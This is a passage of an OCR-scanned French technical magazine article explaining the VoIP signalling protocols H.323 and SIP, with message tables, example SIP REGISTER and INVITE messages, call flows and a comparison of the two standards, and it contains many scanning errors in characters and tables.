Il est utilisé par plusieurs standards.

H.235 est le protocole transporté sur H.225.0 et H.245 décrivant
les mécanismes de sécurité (authentification et chiffrement) pour
la signalisation et les médias.

Le protocole RTP auquel on adjoint généralement RTCP (RTP
Control Protocol) est en charge du transport des paquets de
donnée audio ou vidéo. |l est destiné a un usage sur UDP entre
autres pour pouvoir garantir le fonctionnement temps reel. |l ajoute
une numérotation des paquets qui permet de les synchroniser, mais
aussi de détecter les pertes et de les indiquer dans un message
RTCP. |l ajoute également un horodatage pour indiquer a quel
moment de la conversation correspond la donnée recgue. Ainsi,
les paquets peuvent s'enchainer ni trop vite ni trop lentement. Le
paquet RTP est composé d'un en-téte et d'un payload contenant
la donnée média. Les paguets RTCP ne renferment que des
statistiques de la transmission et doivent &tre émis a un intervalle
régulier, mais raisonnable afin de limiter l'impact sur le débit.

H.323 prévoit I'échange non seulement de la vidéo et de la voix,
mais aussi des données. Pour cela, on utilise entre autres T.38
pour le fax, T.120 pour le partage de documents ou V.150 pour
le relais de signaux modem. Le partage de documents permet &
plusieurs utilisateurs en conférence de travailler sur une méme
ressource. Dans cette méme catégorie, on trouvera |e tableau
blanc. Il s'agit d'un panneau sur lequel chaque intervenant peut
dessiner ce qu'il veut. NetMeeting dispose de ces fonctions depuis
fres longtemps.

1.21 RAS
Les terminaux H.323 s'enregistrent au GK trés simplement.

Un terminal peut découvrir par exemple son GK. Il émet alors
un GRO (Gatekeeper Request) en broadcast vers un port 1718 ou
en unicast vers le port standard 1719, En réponse, un GK lui repond

Optianat -:_'_

Fnregisrremen{ H.323

un CF (Gatekeeper Confirm) ou un GRJ (Gatekeeper Reject).
Aprés avoir découvert le GK, le terminal senregistre. Pour cela, il
émet un RAQ (Registration Request) au GK (fig. 2). Celui-ci répond
soit un RCF (Registration Confirm), soitun RRI (Registration Reject).
La plupart des requétes RAS fonctionnent de la méme facon. A
chague requéte, correspond une réponse de type confirmation
ou rejet. Lors de 'enregistrement, le terminal présente son ou ses
alias, son adresse IP et son port pour le protocole RAS, mais aussi
pour Q.931. Une fois cette étape franchie, le GK est capable de
prendre contact avec ce terminal lors d'une demande formulée
par un autre.

Le désenregistrement se fait soit & l'initiative du terminal, soit &
celle du GK par l'intermédiaire du message URQ. La reponse est
UCF (Unregistration Confirm) ou URJ (Unregistration Reject).
Evidemment, le terminal ne peut émettre un message URJ : clest
le GK qui commande !

RAS participe aussi au début de la negociation de l'appel par le
contréle d'admission. Le terminal appelant enverra un message
4R0 (Admission Reguest) au GK contenant l'alias de l'appelé
(fig. 3, page 19). Ce dernier répondra si le correspondant est
joignable : ACF (Admission Confirm) ou non : ARJ (Admission
Reject). La réponse ACF indigue notamment le mode de routage
de la signalisation utilisé par le GK. A ce niveau, des requétes
de type Location peuvent intervenir (LRQ/L.CF/LRJ). Elles serviront
au dialogue entre plusieurs GK dits « voisins » permettant ainsi
la mise en relation de leurs utilisateurs respectifs (tableau 1,
page suivante).

Depuis H.323v3, le H.225.0 Call Signaling peut étre vehicule sur
UDP. Un appel (fig. 3, page 19) est réalisable en n'utilisant que
SETUP, CONNECT et RELEASE COMPLETE. Les autres messages ne sont
pas nécessaires. On remarque que d'aufres protocoles reposent
sur Q.931, comme certains services évolués definis dans deux
séries H.450.x et H.460.x. Tous les messages définis par Q.931 ne
sont pas appliqués dans la norme H.323. Ceux utilisés sont dans
le tableau 2, page suivante.

=
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ARD Admission Request Demande d'un contréle d'admission.
i ok : Confirmation d'admission ('autre
i Rprmiak L Sgng/g partie est disponible et légitime).
ARJ Admission Refect Rejet d'admission.
0 . Demande de disponibilité de bande
8R0 Bandwidth Reguest passante.
T, 3 Caonfirmation de disponibilité de bande
BCH Bandwidth Confirm passante.
: y . Rejet de disponibilité de bande
B
BRI Bandwidth Reject passante.
- : Demande de désengagement d'un EP
IRQ
DRQ Disengage Request polr Iappel oh cours.
0CF Disengage Gonfirm Conflrma‘lion du désengagement d'un
EP pour I'appel en cours.
DRI Disengage Reject Rejet du désengagement d'un EP
) pour lappel en cours.
n Découverte d'un GK en broadcast ou
GRO Gatekeaper Request TR
GCF Gatekeeper Confirm Confirmation de découverte du GK.
GRY Gatekeeper Reject Rejet de découverte du GK,
228 Information request . L : ;
TACK ACKnowledgement Accusé de réception de I'IRQ.
Information
THAK request Negative Accuse de reception negatif de I''RQ.
AcKnowledgement
IR0 Gatekeeper Reject Découverte d'un GK en broadcast ou
unicast.
fo) IRR Gatekeeper Reject Découverte d'un GK en broadcast ou
* Y unicast
. Caontréle d'admission inter-GK,
LRD Eotalioite ot demande de localisation d'un EP.,
: ; Confirmation de la demande
£
LEF EOEOaH A localisation d'un EP.
LRJ Location Reject Controle d’admission inter-GK.
RAG Resource Availability Confirmation de disponibilité de
¥ Confirmation ressources.
RAT Resaurce Availability Indication de disponibilité de
Indication ressources,
RIP Regquest In Progress Demande en cours.
RRO Regisfration Request Enregistrement d'un EP.
acF Roolstrallon Corfinm ggnfirmation denregistrement d'un
RRJ Registration Reject Rejet d'enregistrement d'un EP.
I Unregistration 2 - i
URQ Request Désenregistrement d'un EF.
UCF Unregistration Confirmation du désenregistrement
Confirm d'un ER
URJ Unregistration Reject | Rejet du désenregistrement d'un EP
LN iiessages RAS

18

ALERTING

Indigue la sonnerie de 'appelé

CALL

PROCEEDING Indigue la réception du SETUE

CONNECT Représente |e décrochage de l'appelé.

Est utilise pour échanger des informations

[NFORMATION : ¥ e
supplémentaires comme des données propriétaires.

Sert a beaucoup de choses : du transfert d'appel
(FacilityReason = callForwarded)au transport des

FACILITY !
= PDU H.450 en passant par 'établissement de canaux

H.245 (FacilityReason = startH24s)

NOTIFY Sert 4 |a notification d'événements surtout pour H 450,

PROGRESS Sert 4 indiguer d?s tcnlallléls par.tu.:uheres. vioire des
annonces avant I'envoi du CONNECT,

RELEASE Reprasente e raccrochage et la fin de |a session

COMPLETE Q931

SETUP Représente le début d'appel

SETUP Sert d'acquittement au SETIP si celui-ci contient fe

ACKNOWLEDGE champ canverlapSend=TRUE,

STATUS Répond au message STATUS INOUIRY.
?gg[ﬁﬁv Sert a demander l'etat actuel de ['appel.

Messages Q.937

H.245 permet de choisir les codecs audio ou vidéo a utiliser, mais
aussi de designer un maitre pour la conférence multimédia. En
plus, les adresses IP et ports qui seront dediés au transport des
flux médias RTP/RTCP sont echangés en H.245 (fig. 3). Il existe
finalement 4 types de message H.245 : les requétes, les réponses,
les commandes et les indications. Tous les messages définis dans
le protocole H.245 ne sont pas utilises pour H.323. Les plus utilisés
sont décrits dans le tableau 3.

n appel H.323
Nous allons voir maintenant un appel simple en mode direct. Le

GK ne s'occupe que de RAS. Les signalisations Q.931 et H.245
se font directement entre les 2 EP.

LEP appelant envoie une requéte d'admission au GK pour vérifier
si le destinataire de I'appel est joignable. Si le GK confirme,
alors, il indique également comment le contacter, c'est-a-dire
vers guelle adresse |P et quel port I'appelant pourra émettre un
SETUPR. Sur reception du SETUP, le terminal EP2 fait lui aussi une
requéte d'admission au portier pour vérifier la légitimité de I'appel.
Le terminal appelant attend gu'on lui indique une adresse IP et
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Requéte de fermeture d'un
canal média avec en paraméatre
l'identifiant du canal.

CloselogicalChannel

Reéponse de fermeture d'un
canal media avec en paramétre
I'identifiant du canal.

CloselogicalChannelAck

Commande de fermeture de la

EndSessionCommand =
& L session H,245,

Requéte pour déterminer le maitre

MasterSlaveDetermination ; 5
de I'appel ou de la conférence.

Réponse pour déterminer le maitre

Slav rminationAc
MasterSlaveDeterminationdck e 'appel v de la conférence,

Requéte d'ouverture des canaux
medias avec notification des
parametres réseau (adresse |P el
port) réservés pour la reception sur
chaque canal ouvert,

OpenlogicalChannel

Réponse d'ouverture des canaux
medias avec notification des
parametres réseau (adresse IP et
port) reserves pour la reception sur
chague canal ouvert.

OpenLogicalChannelAck

Requéte de présentation des
capacités audio, video ou data
dun EP.

TerminalCapabilitySet

Réponse de présentation des
capacités audio, video ou data
d'un EP.

TerminalCapabilitySetAck

Message de type indication de
transport d'infarmation comme
des DTMF (Dual-Tone Mufti-
Frequency) qui représentent des
digits (0123456789ABCD*#)
transmis vers un IVR par exemple.

Userlnput

Messages H. 245

un port H.245 pour pouvoir commencer cette phase de négociation.
Cette phase est longue et, malheureusement, l'information
n'arrive parfois au terminal que dans le message CONNECT. Or,
ce message symbolise le décrochage du terminal appelé. Ceci
signifie alors gue le temps de la negociation H.245 représente
le temps d'établissement des canaux medias. Ceci va prendre
plusieurs secondes. S'il y a plusieurs types de canaux : 1 audio
et 1 vidéo, par exemple, alors on voit le nombre de message
OpenlogicalChannel multiplie par 2. Lutilisateur risque de ressentir ce
phénomene comme une géne. On ameliore déja cela en mettant le
champ h2454ddress dans le message ALERTING ou CALL PROCEEDING.

w GK
B
ARG —r
—RAS SETUP—o— >
— B
—H U ———CALL I-'“II
ARG
- ACF
- ALERTING

—— ————— ——CONNECT:

= TerminalC
alCi

b
OpenLogicalCh

OpenLogicalCh:

icalCh;

Closal agicalCh 1Ack:

RELEASE COMPLETE

DCF-

= DRO—

= _

DCF

Appel H.323

Cet appel peut également avoir lieu en mode routé. A ce moment-1a,
la signalisation Q.931 estrelayée par le GK. Ceci permet notamment
d'ajouter un certain nombre de services pour l'authentification
ou la facturation, mais aussi pour |'acces a des messageries
unifiees. Les canaux H.245 peuvent méme passer par le GK ou
un élément de bordure pour le filtrage des codecs et ainsi garantir
une limitation de l'utilisation de la bande passante. En mode Fast
Connect, les messages OpenlogicalChannel/OpenLogicalChannel Ack
sont remplaces par des champs FastStart inclus dans les
messages Q.931. De plus, la negociation des adresses IP et ports
qui servent pour RTP/RTCP se limite a un seul échange avec un
champ FastStart dans le SETUP et un dans le CONNECT, par exemple.
Une autre solution va plus loin : H245Tunneling. Tous les messages
H.245 sont encapsulés dans des messages Q.931 sous forme de
PDU. Plusieurs messages H.245 peuvent étre contenus dans un
seul message Q.931. Siun message H.245 doit &étre envoye alors
quaucun message Q.931 nest prévu, c'est un message FACILITY
qui doit alors étre utilisé. Si le canal H.225.0 de contréle dappel
est UDP alors le tunnel H 245 est obligatoire. En plus de diminuer
le nombre de canaux TCP ou UDP ouverts, cela diminue le délai
détablissement des flux méedias.

1.4 H.323 : le renouveau

H.323 est parti en quéte de modernisation surtout au niveau des
services [5]. En effet, pour gue la VolIP trouve un public interesse, il
faut que les services offerts soient a la hauteur de ses espérances.
Le premier balbutiement arrive des la version 2 avec |a serie H.450.
x de services. H.450.1 definit les APDU (Application Protocol Data
Units) qui permettront de decrire de fagon generigue les services
presents dans H.450.x (transfert d'appel, renvoi d'appel, mise
en attente...).

Passée a la version 4, la norme H.323 évolue et sa série H.450.
x s'étoffe avec des services comme |le double appel ou méme
l'intrusion qui permet a un terminal d'interrompre un appel en
cours en appelant 'un des deux terminaux en communication.

| £ 3514
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Dans la méme version de H.323, on voit apparaiire GEF (Generic
Extensibility Framework). Ceci définit un protocole générigue pour
ajouter des champs aux messages H.225.0 et pour permettre un
nouveau genre de négociation de fonctionnalite. On note aussila
définition des H.323 URL sous la forme h323:user@host trés proche
de SIP.

La version 5 nous donne notamment |a série H.460.x dont e
premier élément décrit en détail GEF. Les autres élements I'utilisent
pour définir plein de nouveaux services. Nous retiendrons H.460.6
qui décrit le mode EFC (Extended Fast Connect) permettant ainsi
de faire plus facilement du changement de source medias dans
une méme communication. En plus de cette série H.460.x, une
fonctionnalité amusante est |la prise de contréle de la cameéra
de son correspondant a distance. Ceci est décrit dans H.283 et
est trés utile pour les visioconférences professionnelles lors de
présentations.

En version 6, la norme H.323 nous offre encore de nouveaux
services dans la série H 460.x, du 10 au 21. Parmi eux, H.460.15
permet de madifier |a connexion Q.931 en cours d'appel par
exemple pour qu'un elément de bordure la prenne en charge au
debut de l'appel, puis délégue cetle responsabilité aux terminaux
uniguement. En nouveauté, on note aussi H.239 qui décrit comment
ouvrir plusieurs canaux medias et qui sert, par exemple, lors d'une
présentation par visioconférence, a voir, d'une part, l'interlocuteur
et, d'autre part, I'écran affichant la présentation.

Le protocole SIP a eté publié par le groupe de travail MMUSIC
(Multiparty Multimedia Session Conirol) de I'lETF (Internet
Engineering Task Force) en février 1996. |l est maintenu a présent
par le groupe SIP qui a donné la RFC-3261 rendant obsolete la
RFC-2543.

21 Les entités SIP

Le terminal SIP est appelé UA (User Agent). LUA est formeé d'un
UAC (UA Client) et d'un UAS (UA Server). LUAC est en charge
de I'émission des requétes alors que I'UAS est en charge de la
réception des réponses. En revanche, les deux sont capables
d'arréter un appel. Au niveau fonctionnel, on retrouve le méme
genre de terminaux guen H.323 a savoir : IP phone, softphone,
ATA, voicemall, IVR.

Il existe 4 types de serveur SIP :

= Registrar Server : il soccupe exclusivement de |'enregistrement
des terminaux SIP. Il recoit les messages de type REGISTER. Il doit
identifier les utilisateurs, voire les authentifier. || doit &fre relie a
un Proxy Server ou un Redirect Server qui sera en charge de
l'appel.

= Proxy Server : il sert de relais aux messages SIP. Il joue le role
de serveur d'un coté et de client de I'autre. |l interpréte, transforme
ou traduit un message avant de le transferer.

= Redirect Server : il gere |a signalisation d'appel comme le Proxy
Server, mais il ne relaie pas les messages. |l redirige directement
I'UA vers la destination requise en lui indiquant l'adresse IP et le
port a contacter.

= Location Server : il est utilisé par les 2 serveurs d'appel
precédents pour obtenir des informations sur les différentes
localisations possibles d'un utilisateur.

Les serveurs sont responsables d'un domaine. Les communications
entre les domaines nécessitent une resolution DNS.

2.2 Le protocole SIP

Les messages SIP utilisent un format texte proche de celui des
messages HTTP. lls sont donc formeés de 2 parties : un en-téte et
un corps. Len-téte décrit les parametres du message et renferme
les champs spécifiques a SIP. Ainsi, elle contient le type et la taille
des donnees formant le corps. Par ailleurs, le corps d'un message
est souvent vide, sinon il contient généralement un message de
type SDP (Session Description Protocol). Ce corps indigue
alors non seulement des informations sur les capacites medias
de I'émetteur du message, cest-a-dire les codecs audio ou video
disponibles, mais egalement 'adresse IP et le ou les port(s) qui
serviront au transport des médias. Ce transport s'effeciue grace
a RTP/RTCP comme en H.323.

Signalisation Media
A

Pile profocolaire SIP

Le protocole de transport utilisé pour SIP est generalement UDP.
C'est pourguoi des mecanismes de fimeout et de retransmission
des messages sont alors a mettre en ceuvre. TCP est utilisé aussi,
souvent pour permettre des connexions TLS. Les messages sont
codes en texte. On les represente ligne par ligne. Les messages
SIP peuvent étre de 2 sortes ' requéte ou reponse. |l y a d'abord
les requétes : voir tableau 4.

Il v a donc egalement des reponses organisées en series :

1xx Messages d'information
2XX Réponses de succeés

Inx Répaonses de redirection
dyx Reéponses d'erreur client
BXX Réponses derreur serveur
B x Erreurs générales.

Reponses SIP

On parle de transaction pour gqualifier les echanges requéte/
réponse. Plusieurs réponses sont eventuellement envoyées pour
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ACK Confirmation de réception de la réponse a l'INVITE.
BYE Indication de fin de I'appel.

CANCEL Annulation d'une requéte precedente en attente de
Sl réponse.

INFD Envoi d'information particuliére comme des DTMF.

INVITE Initialisation d'un appel en invitant un participant a une

session SIP.

MESSAGE Messagerie instantanée de type chat.

NOTIFY Notification d'eévenement.

OPTIONS Demande des capacités d'un terminal

PRACK Pré-acquittement de service.

REFER Transfert d'appel

REGISTER Enrggislrement d'un UA auprés de son serveur
Registrar.
Souscription a une liste d'événements auprés d'un UA,

SUBSCRIBE Ces evenements seront décrits par 'envoi d'une requéte
NOTLFY.

UPDATE Mise a jour des parametres d'une session media

existante

Requétes SIP

une seule requéte. Pour les requétes, la premiere ligne est appelée
« ligne de requéte » ou start-line, et contient la méthode (type de
requéte), une URI (Uniform Ressource Identifier) et la version
de SIP utilisee. Toutes les requétes contiennent obligatoirement
les champs Te, From, [seq, Call-10, Max-Forwards et Via. Le champ
To designe le destinataire de la requéte et contient une URI le
représentant. Cette URI est généralement la méme que dans la
ligne de requéte sauf lors de I'enregistrement ol elle désigne alors
juste le domaine vers lequel on souhaite s'enregistrer. Le champ
From designe la source de la requéte par une URI. Il peut contenir
egalement un parametre display qui sera utilisé pour la présentation
du numero. Le champ Cseq définit un numéro qui sera repris dans
chague réponse a cette requéte pour permettre l'association
entre une réponse et une reguéte. |l contient également le nom
de la requéte associée. Le champ Max-Forwards définit un nombre
maximum de sauts. En effet, pour arriver a destination une requéte
peut passer par plusieurs serveurs. Cette valeur limite donc le
nombre maximum de serveurs que la requéte peut traverser. Le
champ Via indique le chemin que doit prendre la réponse. A chaque
passage d'un serveur, la requéte peut s'enrichir d'un nouveau
champ Via. Pour les réponses, il existe une ligne de réponse ou
d'etat appelee aussi status-fine qui contient le numéro de version
de SIP, suivi du numero de code de réponse et enfin la description
associée a ce code. La réponse doit conserver les champs
From, To, Cseq et Cal1-10 de la requéte.

La RFC 3261 ne decrit que les requétes REGISTER, INVITE, ACK, CANCEL,
EYE et DPTIONS. Les autres méthodes proviennent de RFC annexes. De
nombreux documents sont disponibles pour décrire les possibilites
de SIP. Trois groupes de travail sont dediés a SIP : SIP, SIMPLE
(SIP for Instant Messenging and Presence Leveraging Extensions)
et SIPPING (Session Initiation Profocol Project INvestiGation).

[ DOSSIER ] @

Le premier gére les évolutions du protocole lui-méme. Le deuxiéme
s'occupe des applications a la messagerie instantanée et a la
gestion de présence, fonctionnalités que I'on retrouve dans les
services VolP de type p2p. Le troisieme étudie les besoins que
rencontrent des applications de SIP et proposent des solutions
aux problemes de terrain. D'autres groupes utilisent SIP et donc
peuvent étre amenes a le faire évoluer.

2.3 Les échanges SIP
En genéral, les serveurs SIP cumulent les fonctions Proxy et/ou

Redirect avec Registrar. On parle plus genéralement de PSS
(Proxy Server SIP).

Les UA s'enregistrent au PSS un peu comme le font les EP a leur
GK. lIs s'identifient par un alias généralement de type SIP URI qui
est forme comme suit :

sip : <user> : <password> @ <host> : <port> ;

<uri-parameters> ? <headers>

= user : cela désigne I'utilisateur par son nom par exemple ou par
un numero de téléphone si on se trouve dans une offre d'opérateur
telephonigue.

> password : ce champ est présent pour indigquer un mot de passe
qui transitera en clair. Ceci est évidemment deconseillé et donc ce
champ n'est normalement pas utilise.

= host @ il peut désigner a la fois une adresse IP et un nom de
domaine.

= part : il désigne le port SIP a utiliser pour contacter I'UA identifié
ici. Par défaut, le port SIP est 5060 et le port SIPS est 5061.

= uri-parameter : ce champ optionnel peut renfermer plusieurs
parametres separes par des points-virgules auxquels on donne une
valeur. On trouve parmi eux le TTL (time-fo-live) d'une transaction,
le transport. ..

= headers : cecl indique les champs qui doivent étre présents dans
le message SIP si l'on utilise cet URI.

Le terme symbolisant le protocole peut prendre également la valeur
sips. Il indique alors que l'on veut utiliser la version securisée de
SIP. Par exemple, si on tente un appel vers un SIPS URI alors
on garantit lutilisation d'une cannexion TLS pour le transport des
messages a destination du domaine de l'appelé. Rien ne garantit
une connexion TLS de bout en bout. Ceci sera vrai si I'appelé
s'est lui-méme enregistré en indiquant un SIPS URI dans son
champ Contact. D'autres types d'UR| existent comme les TEL
URI qui commencent par tel : et ne contiennent qu'un numero
de teléphone et aucune information réseau.

__-‘_-_‘—‘—-—_
~—REGISTER.__

300 oK——

P

Enregistrement SIP
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La requéte REGISTER est du type suivant

REGISTER sipipss.example.com SIP/2.8

Vigy SIP/Z.B/UDP client.example.com:5868;branch=z%hG4knashds?
Wax-Forwards; 78

From: Bob <sip:bob@example. com>:tag=aldksz1f]

To: Bob <sipsbobBexampie.com>

[all-10: 1j9Fplak3uxtnBtndexanple.com

(Seq: 1 REGISTER

Contact: <sip:bobBclient example.com>

[ontent-Length: @

Elle contient un champ Via qui indigue la source de la requéte
et donc la future destination des réponses de la transaction.
Le paramétre branch identifie la transaction et permet d'éviter
les boucles. Il commence toujours par z4hG4bk, Les champs
From et To contiennent la méme URI lors de I'enregistrement, le
From désignant le nom logigue de l'initiateur de la requéte et le To
désignant le nom logique du destinataire. Le paramétre tag est
ajouté par le terminal comme un identifiant supplémentaire. Le
champ Contact contient le point de contact direct vers Bob. LURI
du Contact présente normalement un FQDN ou une adresse IP et
éventuellement un port.

La reponse normale a une demande d’enregistrement est un
208 OK.

SIR/Z.0 288 K

Via: SIP/2.8/U0P client.example.con:5068; branch=z9hG4bKnashdsT; received=192.8.2.281
From: Bob <sip:bob@example.com>;tag= a73kszlf1

To: Bob <sip:bob@example.com>;tag=37GkERK1A

Call-10: 1j9FpLxk3uxtmBtnexample.con

[Seq: 1 REGISTER

Contact: <sips:bob@client.example.com=;expires=3680

Content-Length: @

Dans cette reponse, on observe |'ajout de certains parameétres.
Dans le Via, le parametre received indique sur quelle interface
le noeud correspondant a recu le message. Ici ce noeud est le
Registrar. Un tag est ajoute dans le To pour identifier le serveur.
Un parametre expires indique la durée de vie de l'enregistrement
de I'UA. Un nouvel enregistrement doit &tre fait avant l'expiration
de ce timeout.

lls présentent leur alias de type SIP URI éventuellement associe
a un ou plusieurs champs Contact. Ceci permet au PSS de les
identifier. lls peuvent également se desenregistrer immeédiatement
en envoyant un message REGISTER qui contient cette fois les
2 champs suivants :

Expires=
Contact=*

Avec le champ Contact a *, on détruit tous les contacts associes a
I'URI présente dans le champ To. Par contre, on peut spécifier un
contact particulier que I'on souhaite enregistrer.

Trois modes de signalisation d'un appel SIP se distinguent. Le
premier est le mode proxy. Dans ce mode, le serveur d'appel
utilisé est de type Proxy Server. |l relaie les messages SIP. Le
second mode est le mode redirect ou on fait appel au Redirect
Server. Le troisieme mode est le faorking. Dans ce mode,
plusieurs UA sont enregistrés en partageant une méme URI.

Quand celle-ci est appelée, tous les terminaux sonnent, mais c'est
le plus rapide a décrocher qui remporte I'appel. Le serveur SIP qui
gére ce mode s'assure alors de fermer I'appel pour tous les autres.
Ce mode est utile pour des centres d'appel pour disperser le trafic
vers les différents postes, mais cela est egalement pratique dans
le cas de la mobilité. Lutilisateur nomade peut alors étre joignable
par le méme numero de télephone, mais sur des terminaux
physiguement differents (telephones de bureau, mobile et domicile
par exemple).

] "
S I PR
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Py Badinpct Forkang

n Modes d'appel SIP

On étudie le cas d'un appel simple en mode proxy que vous avez
déja entr'apercu dans un numeéro précedent de MISC [6]. Nous
nous intéressons au trapeze SIP decrit dans la RFC 3261 et qui
est forme de 2 UA et de 2 PSS. Ainsi, on met en evidence tous les
meécanismes de négociation d'un appel.

6 © ©¥ &

————INVITE{SOR}— | INVITE(SDR)_ . |

—— 10 ——————INVITE{SDP|
T 4100 TRYING— — _.,l
180 RINGING———|4———180 RINGING———— & 18D RINGING——————
i B 1
200 QRSO |+———200 QRISDP}———< 200 ORISDP}————

Appel SIP

UA1 appelle UAZ2. Le champ Contact est obligatoire dans la requéte
INVITE. AU passage du message INVITE, le PSS émet un message
188 TRYING a 'appelant. Ceci lui permet d'augmenter le timeout
positionné sur la requéte et donc de savoir que sa demande d'appel
est bien en cours de traitement. Voici a quoi ressemble [INVITE
une fois arrivée a destination :

INVITE sip:UA2@ciient.exampied.com SIP/2.8

SEP/2.8/UDP pss?.examplel.com:5868;branch=28hG4bK721ed. 1

Vig: SIP/Z.8/U0P pssl.exanplel.com:5868; branch=z9hG4bK244790.1; received=192.0,2,111
Vig: SIP/Z.B/UDP client.examplel.com:5B68;branch=20nG4bKT4bTS; received=192.0.2.18]
Max-Forwards: 68

Record-Route: <sip:pssl.examplel.com>,<sip:pssl.exampiel.com>




[ DOSSIER ]

—  °Les protocoles VoIP : H.323 & SIP

From: UAL <sip:UAlBexamplel.com>:tag=9fxced/ns]
To: UAZ <sip:UAZ@exampled.com>

call- B402762987201885116examplel.com

(Seq: 2 INVITE

Contact: <sip:UATBcTient.examplel.com>
Content-Type: application/sdp

it-Length: 141

L

Lonter

.‘:ﬁ

0=UAL 2896844526 ZBIR44526 IN 1P4 client.exanpled.com
s:.

c=IN Ip4 192.8,2.161

t=f 8

m=audio 49172 RTP/AVP @

a=rtpmap:0 PCMU/B080

A chaque passage d'un nouvel expéditeur du message, il y a ajout
d'un champ Via en premiere position de la liste. Les réponses
suivent le chemin inverse de celul indiquer par les champs Via. A
chague passage d'un nceud (PSS), le champ Record-Route s'enrichit.
On obtient un autre chemin qui, une fois fixe, est retransmis tel quel
a la source de la requéte. Une fois que les 2 parties connaissent
ce chemin, les futures requétes incluent des champs Route forgant
le passage de nouveau par la liste de nceuds. Ainsi, chague nceud
n'est pas obligé de chercher de nouveau, par DNS par exemple,
la route a suivre. Le corps du message est séparé par un CRLF
(Carriage-Return Line-Feed). On voit ici une offre SDP trés simple
décrivant une capacite audic G.711 pLaw ou PCMU de 'appelant.
Les champs SDP sont decrits dans |le tableau suivant :

y Version Numeéro de version du protocole decrit.
0 Owner Proprietaire de la session decrite
Session
5 Mom de la session.
name

. Connaatien Point de connexion - adresse IP de réception du

. flux RTP/RTCP.

t Time Heure de début de la session.
Descriptif du média : <type> <port> <protocole>
<codec_list>
= type : audio ou vidéo par exemple,

m Hedia = port : port RTP de réception,
= protocale : RTP utilisant le profil Audio/Vidéeo
défini
= codec_list . Liste des identifiants de codecs
possibles.
Les attributs de type rtpmap font reférence a la

; < liste de codecs définie précédemment. On retrouve

a Attribute i s i it
donc l'identifiant du codec suivi de sa description ¢
nom/fréquence d'échantillonnage.

oW Champs SDP

UAZ2 emet le 188 RINGING gqui symbolise la sonnerie. Au décrochage,
I'appele emet la derniére réponse a l'invitation : le 208 0K. On
trouvera géneralement l'offre et la réponse SDP respectivement
dans le message I[NVITE et le message 288 0«. Un champ
Content-Type decrit le type de corps présent dans le message. Le
champ Content-Length indigue |a taille du corps. Finalement, le
message ACK émis par l'appelant confirme la reception du 288 0K
et donc la fin de la négociation de I'appel. Les flux RTRP/RTCP
s'échangent sur les canaux ouverts grace aux corps SDP. Cette
communication prend fin sur émission de la requéte BYE lors du
raccrochage de I'une ou de l'autre partie. Ici, c'est I'appelé qui le
termine et 'appelant qui confirme par une réponse de type 240 0K,

En mode redirect, le serveur répond au UA un 382 MOVE TEMPORARILY
contenant le champ Contact désignant le terminal appelé notamment
son adresse |P et son port SIP. Apres, le message INVITE est émis
de nouveau, mais directement vers le UA appelé.

En mode forking, le serveur dispatche les invitations vers plusieurs
destinations enregistrees avec le méme URI, mais des champs
Contact différents. Une fois gu'un des terminaux a décroché, il émet
une requéte CANCEL, a tous les autres, confirmée par une réponse
208 0k.

SIP autorise une procédure intéressante : le RE-INVITE. Elle
permet de modifier les canaux médias d'une communication. On
peut modifier indifferemment le codec utilisé ou les paramétres
reseau. Ainsi un appel qui a commencé uniquement en audio peut
se transformer en appel vidéo sans interrompre la communication.
Pour cela, on émet un nouvel INVITE avec le méme champ Call-10
que le précedent, mais une offre SDP différente. Les champs From
et To peuvent étre inversés suivant que ce soit 'appelant ou l'appelé
qui fait l'opération.

' 2.4 IMS/TISPAN

IMS (/P Multimedia Subsystem) [7] est la nouvelle architecture
de plate-forme de services multimédias pour mobile de troisieme
genération. IMS a éte specifié par 3GPP (Third Generation
Partnership Project) dans la refease 5 d'UMTS. Il doit permettre
aux terminaux mobiles d'accéder aux réseaux IP. TISPAN (Telecom
and Internet converged Services and Protocols for Advanced
Network), groupe de normalisation ETSI, est en charge de I'étude
de la convergence des services téléphoniques sur réseaux fixes,
internet et mobiles. |l base son travail sur IMS.

Le but final est que n'importe quel type de terminal ait accés au
méme service. |l peut s'agir d'un terminal fixe ou mobile. SIP
a éfe élu protocole de signalisation multimédia pour ce type
d'architecture. On le retrouvera a la fois entre le terminal et |a plaie-
forme, mais aussi entre certains éléments de cetle plate-forme
comme les entitées CSCF (Call Session Contral Function) qui
representent le coeur du systeme de signalisation des appels.

3. Synthese

Nous avons vu chacun des deux protocoles phares des technologies
VolP actuelles. Maintenant, nous allons faire un récapitulatif sous
forme de tableau comparatif (tableau 7, pages suivante).

Il y a du pour et du contre. Le match est serré. De plus, suivant
le besoin, 'une ou l'autre solution peut étre plus interessante.
H.323 a notamment l'avantage d'étre mature et trés présent dans
les architectures VolP déja en place. De par la structure ASN.1
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Organisme ITU-T

IETF

Monde informatique, standardisation des protocoles web.

Origine Monde Télécom, base sur |a signalisation RNIS DRSS IS BYNENE HTTR:

Codage ASN.1 PER (binaire) UTF-8 (texte)

Terminal EndPaint User Agent

Serveurs H.323 Gatekeeper Proxy, Redirect, Registrar, Location Servers

Identification utilisateur E.164, H.323 1D, H323 URL.. ..

SIP(S)URI, TEL URI...

Transport UDP, TCP, TLS

UDP, TCP, TLS

H.235.x

= H.235.1 : Profil de sécurite de base

= H.235.3 : Profil de sécurite hybride

4 routage selectif

Sécurite

cles H.235/H 245 natives

de signalisation sécurises

les systemes H.323

= H.235.2 : Profil de sécurilé avec signature

> H.235 4 : Sécurité des appels a routage direct et des appels

= H.235.5 : RAS avec secrets partagés faibles

= H.235 6 © Profil pour le chiffrement vocal avec gestion de

o H.235.7 : Profil de securite MIKEY + SRTP

= H.235.8 : Echange de clés dans SRTP au moyen de canaux

= H.235.9 : Prise en charge de passerelles de sécurité dans

= HTTP Digest (RFC 3261)
= SIMIME (RFC 3261)
= MIKEY (RFC 3830)

= Canaux multiples
Signalisation
= Syntaxe compliquée

= Canal unigue

= Syntaxe simple

Transport des médias RTP/RTCP, SRTP

RTP/RTCP, SRTP

Traversée de NAT H.460.17, H 46018, H.46019

STUN, TURN, ICE, COMEDIA, ANAT

Comparatif SIP/H. 323

de ses messages, il permet de limiter les problémes d'interopérabilite
entre constructeurs. SIP ne posséde pas d'équivalent a T.120 pour
le partage de données en temps réel. De plus, les entités SIP ont
tendance a utiliser un protocole de transport non fiable : UDP, qui
limite les possibilités en termes de sécurisation. SIP est neanmoins
plus flexible et simple au niveau implémentation. |l gere simplement
les communications inter-domaines et offre des avantages dans
la traversee de NAT.

Les offres grand public envahissent les salons. Tout le monde
se retrouve avec une passerelle résidentielle en décoration. On
parle aussi d'offre SOHO (Small Office/Home Office). Ces petites
merveilles permettent d'installer des réseaux domestiques Ethernet

ou wifi. Méme si ces passerelles agissent comme des boitiers
